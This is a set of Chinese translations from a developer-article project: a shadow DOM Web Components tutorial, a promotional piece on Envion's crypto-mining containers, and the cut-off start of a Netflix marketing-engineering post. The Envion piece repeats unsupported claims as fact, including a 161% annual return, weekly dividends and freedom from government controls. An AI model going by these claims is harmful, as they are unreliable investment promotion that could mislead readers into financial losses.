*\n\n在开始阅读本文之前，我们建议你先阅读该系列文章中的前三篇，因为本文的工作是以它们为基础构建的。\n\n我们在上文中实现的对话框组件具有特定的外形，结构和行为，但是它在很大程度上依赖于外层的 DOM，它要求使用者必须理解它的基本外形和结构，更不用说允许使用者编写他们自己的样式（最终将修改文档的全局样式）。因为我们的对话框依赖于 id 为 “one-dialog” 的模板元素的内容，所以每个文档只能有一个模态框的实例。\n\n目前对于我们的对话框组件的限制不一定是坏的。熟悉对话框内部工作原理的使用者可以通过创建自己的 `<template>` 元素，并定义他们希望使用的内容和样式（甚至依赖于其他地方定义的全局样式）来轻松地使用对话框。但是，我们希望在元素上提供更具体的设计和结构约束以适应最佳实践，因此在本文中，我们将在元素中使用 shadow DOM。\n\n### 什么是 shadow DOM ？\n\n在[介绍文章](https://juejin.im/post/5c9a3cce5188252d9b3771ad)中我们说到，shadow DOM ”能够隔离 CSS 和 JavaScript，和 `<iframe>` 非常相似“。在 shadow DOM 中选择器和样式不会作用于 shadow root 以外，shadow root 以外的样式也不会影响 shadow DOM 内部。不过有一些特例，像是 font family 或者 font sizes（例如：`rem`）可以在内部重写覆盖。\n\n但是不同于 `<iframe>`，所有的 shadow root 仍然存在于同一份文件当中，因此所有的代码都可以在指定的上下文中编写，而不必担心和其他样式或者选择器冲突。\n\n### 在我们的对话框中添加 shadow DOM\n\n为了添加一个 shadow root（shadow 树的基本节点/文档片段），我们需要调用元素的 `attachShadow` 方法：\n\n```\nclass OneDialog extends HTMLElement {\n  constructor() {\n    super();\n    this.attachShadow({ mode: 'open' });\n    this.close = this.close.bind(this);\n  }\n}\n```\n\n通过调用 `attachShadow` 方法并设置参数 `mode: 'open'`，我们在元素的 `element.shadowRoot` 属性中保存一份对 shadow root 的引用。`attachShadow` 方法将始终返回一个 shadow root 的引用，但是在这里我们不会用到它。\n\n如果我们调用 `attachShadow` 方法并设置参数 `mode: 'closed'`，元素上将不会存储任何引用，我们必须通过使用 `WeakMap` 或者 `Object` 来实现存储和检索，将节点自身设置为键，shadow root 设置为值。\n\n```\nconst shadowRoots = new WeakMap();\n\nclass ClosedRoot extends HTMLElement {\n  constructor() {\n    super();\n    const shadowRoot = this.attachShadow({ mode: 'closed' });\n    shadowRoots.set(this, shadowRoot);\n  }\n\n  connectedCallback() {\n    const shadowRoot = shadowRoots.get(this);\n    shadowRoot.innerHTML = `<h1>Hello from a closed shadow root!</h1>`;\n  }\n}\n```\n\n我们还可以在元素自身上保存对 shadow root 的引用，通过使用 `Symbol` 或者其他的键来设置 shadow root 为私有属性。\n\n通常，有一些原生元素（例如：`<audio>` 或者 `<video>`），它们会在自身的实现中使用 shadow DOM，shadow root 的关闭模式就是为了这些元素而存在的。此外，基于库的架构方式，在元素的单元测试中，我们可能无法获取 `shadowRoots` 对象，导致我们无法定位到元素内部的更改。\n\n**对于用户主动使用关闭模式下的 shadow root 可能存在一些合理的用例，但是数量很少而且目的各不相同**，所以我们将在我们的对话框中坚持使用 shadow root 的打开模式。\n\n在实现新的打开模式下的 shadow root 之后，你可能注意到现在当我们尝试运行时，我们的元素已经完全无法使用了：\n\n在 [CodePen](https://codepen.io) 中查看[对话框示例：使用模板以及 shadow root](https://codepen.io/calebdwilliams/pen/WPLwzv/)。\n\n这是因为我们之前拥有的所有内容都被添加在传统 DOM（我们称之为[light DOM](https://stackoverflow.com/questions/42093610/difference-between-light-dom-and-shadow-dom)）中，并在其中被操作。既然现在我们的元素上绑定了一个 shadow DOM，那么就没有一个 light DOM 可以渲染的出口。我们可以通过将内容放到 shadow DOM 中来解决这个问题：\n\n```\nclass OneDialog extends HTMLElement {\n  constructor() {\n    super();\n    this.attachShadow({ mode: 'open' });\n    this.close = this.close.bind(this);\n  }\n  \n  connectedCallback() {\n    const { shadowRoot } = this;\n    const template = document.getElementById('one-dialog');\n    const node = document.importNode(template.content, true);\n    shadowRoot.appendChild(node);\n    \n    shadowRoot.querySelector('button').addEventListener('click', this.close);\n    shadowRoot.querySelector('.overlay').addEventListener('click', this.close);\n    this.open = this.open;\n  }\n\n  disconnectedCallback() {\n    this.shadowRoot.querySelector('button').removeEventListener('click', this.close);\n    this.shadowRoot.querySelector('.overlay').removeEventListener('click', this.close);\n  }\n  \n  set open(isOpen) {\n    const { shadowRoot } = this;\n    shadowRoot.querySelector('.wrapper').classList.toggle('open', isOpen);\n    shadowRoot.querySelector('.wrapper').setAttribute('aria-hidden', !isOpen);\n    if (isOpen) {\n      this._wasFocused = document.activeElement;\n      this.setAttribute('open', '');\n      document.addEventListener('keydown', this._watchEscape);\n      this.focus();\n      shadowRoot.querySelector('button').focus();\n    } else {\n      this._wasFocused && this._wasFocused.focus && this._wasFocused.focus();\n      this.removeAttribute('open');\n      document.removeEventListener('keydown', this._watchEscape);\n    }\n  }\n  \n  close() {\n    this.open = false;\n  }\n  \n  _watchEscape(event) {\n    if (event.key === 'Escape') {\n        this.close();   \n    }\n  }\n}\n\ncustomElements.define('one-dialog', OneDialog);\n```\n\n到目前为止，我们对话框的主要变化实际上相对较小，但它们带来了很大的影响。首先，我们所有的选择器（包括我们的样式定义）都在内部作用域内。例如，我们的对话框模板内部只有一个按钮，因此我们的 CSS 只针对 `button {...}`，而且这些样式不会影响到 light DOM。\n\n但是，我们仍然依赖于元素外部的模板。让我们通过从模板中删除这些标记并将它们放入 shadow root 的 `innerHTML` 中来改变它。\n\n在 [CodePen](https://codepen.io) 中查看[对话框示例：仅使用 shadow root](https://codepen.io/calebdwilliams/pen/GzPqvo/)。\n\n### 渲染来自 light DOM 的内容\n\n[shadow DOM 规范](https://www.w3.org/TR/shadow-dom/)包括了一种允许在我们的自定义元素内，渲染 shadow root 外部的内容的方法。它和 AngularJS 中的 `ng-transclude` 概念以及在 React 中使用 `props.children` 都很相似。在 Web Components 中，我们可以通过使用 `<slot>` 元素实现。\n\n这里有一个简单的例子：\n\n```\n<div>\n  <span>world <!-- this would be inserted into the slot element below --></span>\n  <#shadow-root><!-- pseudo code -->\n    <p>Hello <slot></slot></p>\n  </#shadow-root>\n</div>\n```\n\n一个给定的 shadow root 可以拥有任意数量的 slot 元素，可以用 `name` 属性来区分。Shadow root 中没有名称的第一个 slot 将是默认 slot，未分配的所有内容将在该节点内按文档流（从左到右，从上到下）显示。我们的对话框确实需要两个 slot：标题和一些内容（我们将设置为默认 slot）。\n\n在 [CodePen](https://codepen.io) 中查看[对话框示例：使用 shadow root 以及 slot](https://codepen.io/calebdwilliams/pen/dawXJb/)。\n\n继续更改对话框的 HTML 部分并查看结果。Light DOM 内部的任何内容都被放入到分配给它的 slot 中。被插入的内容依旧保留在 light DOM 中，尽管它被渲染的好像在 shadow DOM 中一样。这意味着这些元素的内容和样式都可以由使用者定义。\n\nShadow root 的使用者通过 CSS `::slotted()` 伪选择器，可以有限度地定义 light DOM 中内容的样式；然而，slot 中的 DOM 树是折叠的，所以只有简单的选择器可以工作。换句话说，在前面示例的扁平的 DOM 树中，我们无法设置在 `<p>` 元素内部的 `<strong>` 元素的样式。\n\n### 两全其美的方法\n\n我们的对话框目前状态良好：它具有封装、语义标记、样式和行为；然而，一些使用者仍然想要定义他们自己的模板。幸运的是，通过结合两种我们所学的技术，我们可以允许使用者有选择地定义外部模板。\n\n为此，我们将允许组件的每个实例引用一个可选的模板 ID。首先，我们需要为组件的 `template` 定义一个 getter 和 setter。\n\n```\nget template() {\n  return this.getAttribute('template');\n}\n\nset template(template) {\n  if (template) {\n    this.setAttribute('template', template);\n  } else {\n    this.removeAttribute('template');\n  }\n  this.render();\n}\n```\n\n在这里，通过将它直接绑定到相应的属性上，我们完成了和使用 `open` 属性时非常类似的事情。但是在底部，我们为我们的组件引入了一个新的方法：`render`。现在我们可以使用 `render` 方法插入 shadow DOM 的内容，并从 `connectedCallback` 中移除行为；相反，我们将在连接元素时调用 `render` 方法：\n\n```\nconnectedCallback() {\n  this.render();\n}\n\nrender() {\n  const { shadowRoot, template } = this;\n  const templateNode = document.getElementById(template);\n  shadowRoot.innerHTML = '';\n  if (templateNode) {\n    const content = document.importNode(templateNode.content, true);\n    shadowRoot.appendChild(content);\n  } else {\n    shadowRoot.innerHTML = `<!-- template text -->`;\n  }\n  shadowRoot.querySelector('button').addEventListener('click', this.close);\n  shadowRoot.querySelector('.overlay').addEventListener('click', this.close);\n  this.open = this.open;\n}\n```\n\n现在我们的对话框不仅拥有了一些非常基本的样式，而且可以允许使用者为每个实例定义一个新模板。我们甚至可以基于它当前指向的模板使用 `attributeChangedCallback` 更新此组件：\n\n```\nstatic get observedAttributes() { return ['open', 'template']; }\n\nattributeChangedCallback(attrName, oldValue, newValue) {\n  if (newValue !== oldValue) {\n    switch (attrName) {\n      /** Boolean attributes */\n      case 'open':\n        this[attrName] = this.hasAttribute(attrName);\n        break;\n      /** Value attributes */\n      case 'template':\n        this[attrName] = newValue;\n        break;\n    }\n  }\n}\n```\n\n在 [CodePen](https://codepen.io) 中查看[对话框示例：使用 shadow root、插槽以及模板](https://codepen.io/calebdwilliams/pen/rROadR/)。\n\n在上面的示例中，改变 `<one-dialog>` 元素的 `template` 属性将改变元素渲染时使用的设计。\n\n### Shadow DOM 样式策略\n\n目前，定义一个 shadow DOM 节点样式的唯一方法就是在 shadow root 的内部 HTML 中添加一个 `<style>` 元素。这种方法几乎在所有情况下都能正常工作，因为浏览器会在可能的情况下对这些组件中的样式表进行重写。这个**确实**会增加一些内存开销，但通常不足以引起关注。\n\n在这些样式标签内部，我们可以使用 [CSS 自定义属性](https://css-tricks.com/guides/css-custom-properties/)为定义组件样式提供 API。自定义属性可以穿透 shadow 的边界并影响 shadow 节点内的内容。\n\n你可能会问：“我们可以在 shadow root 内部使用 `<link>` 元素吗”？事实上，我们确实可以。但是当尝试在多个应用之间重用这个组件时可能会出现问题，因为在所有应用中 CSS 文件可能无法保存在同一个位置。但是，如果我们确定了元素样式表的位置，那么我们就可以使用 `<link>` 元素。在样式标签中包含 `@import` 规则也是如此。\n\n值得一提的是，不是所有的组件都需要像这样定义样式。使用 CSS 的 `:host` 和 `:host-context` 选择器，我们可以简单地定义更多初级的组件为块级元素，并且允许用户以提供类名的方式定义样式，如背景色，字体设置等。\n\n另一方面，不同于只可以作为原生元素组合来展示的列表框（由标签和复选框组成），我们的对话框相当复杂。这与样式策略一样有效，因为样式更明确（比如设计系统的目的，其中所有复选框可能看起来都是一样的）。这在很大程度上取决于你的使用场景。\n\n#### CSS 自定义属性\n\n使用 [CSS 自定义属性](https://css-tricks.com/guides/css-custom-properties/)（也被称为 CSS 变量）的一个好处是它们可以传入 shadow DOM 内。在设计上，为组件使用者提供了一个接口，允许他们从外部定义组件的主题和样式。然而，值得注意的是，因为 CSS 级联的缘故，在 shadow root 内部对于自定义样式的更改不会回流。\n\n在 [CodePen](https://codepen.io) 中查看[CSS 自定义样式以及 shadow DOM](https://codepen.io/calebdwilliams/pen/eXJZza/)。\n\n继续注释或删除上面示例中的 CSS 面板里设置的变量，看看它是如何影响渲染内容的。你可以看一下 shadow DOM 的 `innerHTML` 中的样式，不管 shadow DOM 如何定义它自己的属性，都不会影响到 light DOM。\n\n#### 可构造的样式表\n\n在撰写本文的时候，有一项提议的 web 功能，它允许使用[可构造的样式表](https://github.com/WICG/construct-stylesheets/blob/gh-pages/explainer.md)对 shadow DOM 和 light DOM 的样式进行更多地模块化定义。这个功能已经登陆 Chrome 73，并且从 Mozilla 得到了很多积极的消息。\n\n此功能允许使用者在其 JavaScript 文件中定义样式表，类似于编写普通 CSS 并在多个节点之间共享这些样式的方式。因此，单个样式表可以添加到多个 shadow root 内，也可以添加到文档内。\n\n```\nconst everythingTomato = new CSSStyleSheet();\neverythingTomato.replace('* { color: tomato; }');\n\ndocument.adoptedStyleSheets = [everythingTomato];\n\nclass SomeCompoent extends HTMLElement {\n  constructor() {\n    super();\n    this.adoptedStyleSheets = [everythingTomato];\n  }\n  \n  connectedCallback() {\n    this.shadowRoot.innerHTML = `<h1>CSS colors are fun</h1>`;\n  }\n}\n```\n\n在上面的示例中，`everythingTomato` 样式表可以同时应用到 shadow root 以及文档的 body 内。对于那些想要创建可以被多个应用和框架共享的设计系统和组件的团队来说非常有用。\n\n在下一个示例中，我们可以看到一个非常基础的例子，展示了可构造样式表的使用方法以及它提供的强大功能。\n\n在 [CodePen](https://codepen.io) 中查看[可构造的样式表示例](https://codepen.io/calebdwilliams/pen/aPgbMb/)。\n\n在这个示例中，我们构造了两个样式表，并将它们添加到文档和自定义元素上。三秒钟后，我们从 shadow root 中删除一个样式表。但是，对于这三秒钟，文档和 shadow DOM 共享相同的样式表。使用该示例中包含的 polyfill，实际上存在两个样式元素，但 Chrome 运行的很自然。\n\n该示例还包括一个表单，用于显示如何根据需要异步有效地更改工作表的规则。对于那些想要为他们的网站提供主题的使用者，或者那些想要创建跨越多个框架或网址的设计系统的使用者来说，Web 平台的这一新增功能可以成为一个强大的盟友。\n\n这里还有一个关于 [CSS 模块](https://github.com/w3c/webcomponents/issues/759)的提议，最终可以和 `adoptStyleSheets` 功能一起使用。如果以当前形式实现，该提议将允许把 CSS 作为模块导入，就像 ECMAScript 模块一样：\n\n```\nimport styles './styles.css';\n\nclass SomeCompoent extends HTMLElement {\n  constructor() {\n    super();\n    this.adoptedStyleSheets = [styles];\n  }\n}\n```\n\n#### 部分和主题\n\n用于样式化 Web 组件的另一个特性是 `::part()` 和 `::theme()` 伪选择器。`::part()` 规范允许使用者可以定义他们的部分自定义元素，提供了下面的样式定义接口：\n\n```\nclass SomeOtherComponent extends HTMLElement {\n  connectedCallback() {\n    this.attachShadow({ mode: 'open' });\n    this.shadowRoot.innerHTML = `\n      <style>h1 { color: rebeccapurple; }</style>\n      <h1>Web components are <span part=\"description\">AWESOME</span></h1>\n    `;\n  }\n}\n    \ncustomElements.define('other-component', SomeOtherComponent);\n```\n\n在我们的全局 CSS 中，我们可以通过调用 CSS 的 `::part()` 选择器来定位任何 part 属性值为 `description` 的元素。\n\n```\nother-component::part(description) {\n  color: tomato;\n}\n```\n\n在上面的示例中，`<h1>` 标签的主要消息与描述部分的颜色不同，对于那些自定义元素的使用者，让他们可以暴露自己组件的样式 API，并保持对他们想要保持控制的部分的控制。\n\n`::part()` 和 `::theme()` 的区别在于 `::part()` 必须作用于特定的选择器上，`::theme()` 可以嵌套在任何层级上。下面的示例和上面 CSS 代码有着相同的效果，但也适用于在整个文档树中包含 `part=\"description\"` 的任何其他元素。\n\n```\n:root::theme(description) {\n  color: tomato;\n}\n```\n\n和可构造的样式表一样，`::part()` 已经可以在 Chrome 73 中使用。\n\n### 总结\n\n我们的对话框组件现在已经完成。它具有自己的标记，样式（没有任何外部依赖）和行为。此组件现在可以被包含在使用任何当前或未来框架的项目中，因为它们是根据浏览器规范而不是第三方 API 构建的。\n\n一些核心控件**有点**冗长，并且或多或少依赖于对 DOM 工作原理一些知识。在我们的最后一篇文章中，我们将讨论更高级别的工具以及如何与流行的框架结合使用。\n\n#### 系列文章：\n\n1.  [Web Components 简介](https://juejin.im/post/5c9a3cce5188252d9b3771ad)\n2.  [编写可以复用的 HTML 模板](https://juejin.im/post/5ca5b858e51d4524a918560f)\n3.  [从 0 开始创建自定义元素](https://github.com/xitu/gold-miner/blob/master/TODO1/creating-a-custom-element-from-scratch.md)\n4.  [使用 Shadow DOM 封装样式和结构（**本文**）](https://github.com/xitu/gold-miner/blob/master/TODO1/encapsulating-style-and-structure-with-shadow-dom.md)\n5.  [Web Components 的高级工具](https://github.com/xitu/gold-miner/blob/master/TODO1/advanced-tooling-for-web-components.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/energy-sector-now-on-blockchain-based-cryptocurrency.md",
    "content": "> * 原文地址：[Energy sector now on blockchain-based cryptocurrency](https://medium.com/@dungvinh50956756/energy-sector-now-on-blockchain-based-cryptocurrency-b89b09c8117e)\n> * 原文作者：[torik](https://medium.com/@dungvinh50956756?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/energy-sector-now-on-blockchain-based-cryptocurrency.md](https://github.com/xitu/gold-miner/blob/master/TODO1/energy-sector-now-on-blockchain-based-cryptocurrency.md)\n> * 译者：[geniusq1981](https://github.com/geniusq1981)\n\n# 能源行业聚焦基于区块链技术的加密货币\n\n![](https://cdn-images-1.medium.com/max/800/1*wprAtM-rk8-wdyeIuRufgg.jpeg)\n\nEnvion 是一家在瑞士注册的区块链公司，专注于提供挖矿基础设施以及区块链挖掘技术。该公司为了实现全球可再生能源的价值最大化，提供了很好的解决方案。加密货币的重商主义（商业本位）属性受到了全球的追捧，因此 Envion 试图彻底改变数字货币的挖掘方式。目前像挖掘比特币这样的加密货币需要非常精密的硬件来处理高级运算。\n\n为了扩大能源产业链的价值，Envion 建立了一套覆盖全球的智能系统，该系统由卫星连接的标准的加密货币挖掘设备组成，这些设备将能源转化为加密货币资产。\n\nEnvion 宣称已经胜利完成最后的技术完善。该公司设计了一个移动挖矿解决方案，该方案被集成在标准化的 CSC 集装箱上。各种的集装箱可能会被在世界的任何一个角落被停放很多天，这样就分散了区块链基础设备。通过技术可以确保使用距离最近而且能源成本消耗最低的设备来进行采矿，从而可以降低能源价格。\n\n解决方案中包含一个“即插即用”协议，可以确保在任何能源供应条件下进行部署。标准的管理员协议设计使得系统完全由机器驱动来控制启动，这确保整个系统具有完全自主的挖掘能力。一旦连接成功，移动挖矿单元就会立即在精确的卫星定位以及过载保护下开始进行挖矿。\n\n随着太阳能电池阵列成本的下降以及由此带来的电力成本的降低，现在我们可以获取更多低成本的能源。Envion 的挖矿设备将充分利用各地免费的过剩产能。MMU 可以接入任意类型的能源，水，石，风和日月星辰。这减少了碳排放足迹，同时为矿机提供了极低成本的能源。所有的用户挖矿设备都连接到 Envion 统一的采矿云（UMC）上，云端可以给矿机挑选最有价值的加密货币，并指引矿机进行挖掘。\n\n根据该公司的报告，Envion 把 ASIC 挖掘和基于 GPU 的挖掘相结合，允许利用了每个显卡和每个 ASIC 的运算能力来进行挖掘。\n\nMMU 配有一个巨大的天线，可以提供不间断的网络连接。能源价格的下降也就意味着运营成本的下降，从而可以带来大量的投资回报。毫无疑问，挖矿是需要巨大的能源消耗，这就是为什么降低能源价格非常重要。过去单位时间内比特币网络的能耗约为 7000 万千瓦，这就说明挖矿确实消耗大量的能源。每挖掘一个比特币都需要大约 245 千瓦时的能源消耗。\n\n因此，Envion 寻求更便宜和更绿色的挖矿方式。公司提倡绿色环保，它可以回收挖矿所产生的能量耗费。挖矿设备被放置在需要加热的建筑物附近，比如温室和仓库。这样的使用方式进一步降低了能源价格。\n\nEnvion 的渐进式数据处理管理平台将所有设备连接到一个重新分配的卫星连接的 4G 网络中。最后，Envion 提供了一个可以大量盈利的挖矿解决方案，通过进一步降低能源价格，并向挖矿者保证采矿方案的安全性，因为系统不允许单一实体的存在。\n\n该公司独有的自移动冷却系统的能效非常不可思议，它是旧系统能效的 40 倍。\n\n可扩展性\n\nEnvion 难以置信地扩增单位面积的挖矿设备数量，这使得硬件价格更加低廉，经济效益凸显。此外，该公司的重分配架构可以覆盖使用从微型到中型的能量来源。\n\nEnvion 标榜自己是唯一一家不受能源价格波动，硬件供需关系，固定地点以及政府管控等因素影响的挖矿公司。这得益于公司强烈的去中心化方针，并且可以接入世界上最具成本效益的能源输入。此外，Envion 还可以接入最小的免费变电站。\n\nEnvion 是应用移动挖矿，重新分配以及智能可升级的新型挖矿公司中的一员，所以它不用应对那些老的挖矿公司所面临的问题。同时，区块链应用的扩张使得对挖矿基础设施的需求不断增加。\n\n公司认为，在这种情况下，企业可以通过支付使用来自发电厂以及其他来源的未被利用的过剩产能，来和电力企业一起实现双赢。此外，区块链还有另外一个双赢的机会；Envion 通过挖矿活动的分散化以及挖矿过程中社区的参与确保整个系统的稳定运行。参与挖矿的社区所拥有的财产使得挖矿作业可以不受当地法律、能源价格波动和政府的限制。这些一起构筑了国际化的区块链基础设施环境。\n\nEnvion 的品质体系确保运输和准备工作都更加轻松，因此可以免受政策限制。限制越少，关联价格也就越低。\n\n此外，这家公司的利润也非常丰厚。基于 161% 的年投资回报率，公司战略可以持续增加移动挖矿设备来增加利润。公司也通过配备更加高效的传输设备来增加利润。\n\n公司每周会进行股息分配，其中 75％被列入分红，另外的 25% 被用于重新投资。EVC 令牌赋予 Envion 用户拥有否决权。该权利让令牌持有者可以非常灵活地参与公司的决策过程。\n\n通过 Envion，您可以获得周期关系表，周期观察，持续改进以及预测报告。\n\n尽管这家公司是一家初创公司，但投资人都非常看好它的盈利前景。公司提供了一套令人兴奋并且有利可图的挖矿程序，所有内容都遵循着标准的白皮书，这是一项拥有巨大价值的专业知识产权。\n\nWebsite — [https://www.envion.org/en/](https://www.envion.org/en/)\n\nWhite Paper — [https://www.envion.org/en/whitepaper/](https://www.envion.org/en/whitepaper/)\n\nFacebook — [https://www.facebook.com/envion.org](https://www.facebook.com/envion.org)\n\nTwitter — [https://twitter.com/Envion_org](https://twitter.com/Envion_org)\n\nInstagram — [https://www.instagram.com/envion_official/](https://www.instagram.com/envion_official/)\n\nMedium — [https://medium.com/@envion](https://medium.com/@envion)\n\nVideo — [https://vimeo.com/envion](https://vimeo.com/envion)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/engineering-to-improve-marketing-effectiveness-part-1.md",
    "content": "> * 原文地址：[Engineering to Improve Marketing Effectiveness (Part 1)](https://medium.com/netflix-techblog/engineering-to-improve-marketing-effectiveness-part-1-a6dd5d02bab7)\n> * 原文作者：[Netflix Technology Blog](https://medium.com/@NetflixTechBlog?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/engineering-to-improve-marketing-effectiveness-part-1.md](https://github.com/xitu/gold-miner/blob/master/TODO1/engineering-to-improve-marketing-effectiveness-part-1.md)\n> * 译者：[Starrier](https://github.com/Starriers)\n> * 校对者：[kuangbao9](https://github.com/kuangbao9)\n\n# 提高营销效率的工程（第一部分）\n\n作者 — [Subir Parulekar](https://www.linkedin.com/in/subir-parulekar-19ab403/)、[Gopal Krishnan](https://www.linkedin.com/in/gopal-krishnan-9057a7/)\n\n**“让大家对我们的内容感兴趣，这样他们就会注册并进行观看”**\n\n- Kelly Bennett，Netflix 的首席营销官\n\n这句话已经成为我们广告技术（AdTech）团队的动力。Netflix 有大量优秀的原创内容可供推广，因此存在一个既可以利用赚钱的媒体，也可以利用付费的媒体来为世界各地的人们创造他们感兴趣的内容的独特机会。Netflix 现在已经在 190 个国家和地区进行了推广，拥有数百万中资产，以数十种语言形式在全球范围内宣传数百种内容。\n\nAdTech 团队的宗旨是帮助我们的市场营销伙伴通过实验和自动化来利益最大化他们所花费的时间和金钱。这涉及到为推进全面改进而与市场营销、运营、财务、科学和分析团队的深入合作。这是系列博客中的第一篇，分享了与我们的营销团队合作的所有方式，从合作创作资产、组装广告到优化计划渠道上的活动。\n\n**背景和文化：**\n\nNetflix 营销团队相信，创造 Netflix 需求的最佳途径是推广只能在 Netflix 上观看的高质量的独家内容。如果我们成功创作了对原始内容的需求，那么新会员就会注册。作为这一过程的一部分，如果我们按照市场的正确比例创造和收集这种需求（收购营销），那么我们会更加成功。\n\n选择支持哪些标题和市场仍然需要艺术与科学的结合，我们的创意团队与我们的技术团队携手合作，共同创造出成功的公式。市场营销根据需要关注标题集，以及与导演/节目主持人合作的片名背后的创意，制定一系列广告市场的顶级战略决策。\n\nAdTech 团队通过以下方式来帮助我们的营销伙伴执行该策略：\n\n1.  为了改善营销资产，我们进行创新技术来简化工作流程。这解放了营销团队，让他们可以减少对日常生活的关注，聚焦于创意领域。\n2.  为了在所有宣传画布和频道中创建广告，可以创建一个统一的内部平台。例如，Facebook、YouTube 和 Instagram。TV 和户外等。\n3.  启用使我们能衡量和优化我们的营销活动有效性的技术 —— 无论是通过在线编程渠道还是离线渠道。例如，我们通过 Facebook 和 YouTube 上的各种算法来实现这一点，这些算法可以帮助我们更好地理解影响并提高我们的消费效率。\n\n我们为 Netflix 的数据驱动文化感到自豪，你可以在[这里](https://medium.com/netflix-techblog/its-all-a-bout-testing-the-netflix-experimentation-platform-4e1ca458c15)和[这里](https://ieondemand.com/presentations/quasi-experimentation-at-netflix-beyond-a-b-testing)阅读到相关内容。正如我们通过 A/B 测试来改进 Netflix 产品一样，我们的营销团队也会利用实验来引导和提高人们的判断力。我们越是能创造工具和流程来简化我们的方法，我们的团队就越能专注于帮助正确的受众体验到优秀的成果。我们的理念是“**我们花费的每一美元，都是务必要物超所值**。AdTech 团队致力于寻求技术创新，使我们的合作伙伴能够将更多的时间花在战略性和创造性的决策上，而我们则利用实验来引导 Netflix 在最佳策略上的直觉判断。\n\n**优化增长**\n\nNetflix 的目标是使用付费媒体来提高效率。有些人可能会注册 Netflix（例如，由于朋友的推荐），但我们不愿意在我们能够控制的范围内向他们展示广告。相反，我们最感兴趣的重点营销对象是那些尚未对 Netflix 下定决心的人。这一总体策略在很大程度上影响了我们的理念和工作，就像你在随后的博客种所发现的那样。\n\n在更高的层次中，我们可以将 Netflix 的营销生命周期建模成以下四个步骤：\n\n![](https://cdn-images-1.medium.com/max/800/0*f_bkj3H4z6gSA5ja.)\n\n本文将详细介绍创意开发与本地化的第一步。我们将概述应用于 Netflix 营销市场中，支持我们创造数百万资产（预告片、艺术品等）的运营团队所做的工作。\n\n**规模化的创意开发与本地化**\n\nNetflix 的增长速度得力于它以数十种语言来营销 Netflix 的所有新颖的标题，包括最终将产生数百万的营销资产的许多概念和消息类型。我们需要让市场营销、社交和公关团队团结起来，在全球范围内扩展我们的内容活动。只有当我们构建了一个流线型、健壮的资产创造和交付管道来自动化所有涉及的过程时，才能实现这一目标。这是数字营销基础设施团队关注的领域！我们的目标是创建应用程序和服务，来帮助 Netflix 营销优化和自动化流程，扩大其业务范围，为正在全球范围内开展的所有 Netflix 营销活动提供大量的视频、数字和影印资产。\n\n简而言之 —— 你可以在 YouTube、Facebook、Snpchat、Instagram 和 Twitter 和其他社交媒体平台或电视上看到 Netflix 的任何预告片和数码艺术品，它们都是用团队开发工具创建和本地化的。我们的领域甚至涉及到了世界各地的高速公路、交通灯、公共汽车和火车上，你所能看到的一些实体广告牌和海报。\n\n![](https://cdn-images-1.medium.com/max/400/0*6vxzgYQuNvpUils5.)\n\n![](https://cdn-images-1.medium.com/max/400/0*0qic6MBXAXNzAHLp.)\n\n![](https://cdn-images-1.medium.com/max/400/0*BmrA1SFkZ0jKx_Dk.)\n\nNetflix 在地铁（纽约）、电梯（哥伦比亚）和广告牌（孟买）上的海报\n\n**那么这些预告片是如何被创建的呢？**\n\n在音频视觉（AV）领域中，这一切都始于营销创意团队与外部机构合作，为一个特定的标题创建一组预告片。标题可以是像[Stranger Things](https://www.netflix.com/title/80057281) 这样的系列，或者是 [Bright](https://www.netflix.com/title/80119234) 这样的电影，亦或是像 [Dave Chappelle](https://www.netflix.com/title/80171965) 的独立喜剧，亦或是像 [13th](https://www.netflix.com/title/80091741) 这样的记录片。经过几轮创造性的回顾和反馈后，预告片最终确定了标题的原始语言。之后，特定领域会需要这个预告片在屏幕上的特定位置进行字幕，配音，评级卡，Netflix 标志的各种组合等。下面是展示了 [Ozark](https://www.netflix.com/title/80117552) 中的一个框架的各种组合的示例。\n\n![](https://cdn-images-1.medium.com/max/800/0*RKKQ86KDXyAfTgZK.)\n\n营销团队与多个合作伙伴合作，为这些预告片构建这些本地化的视频文件。然后将这些资产编码为交付给它们的社交平台的规范。\n\n为了深入了解这些数字，下图给出了为市场营销而创建的视频资产的数量[资产的数量](https://www.netflix.com/title/80119234)。我们最终获得了 5000 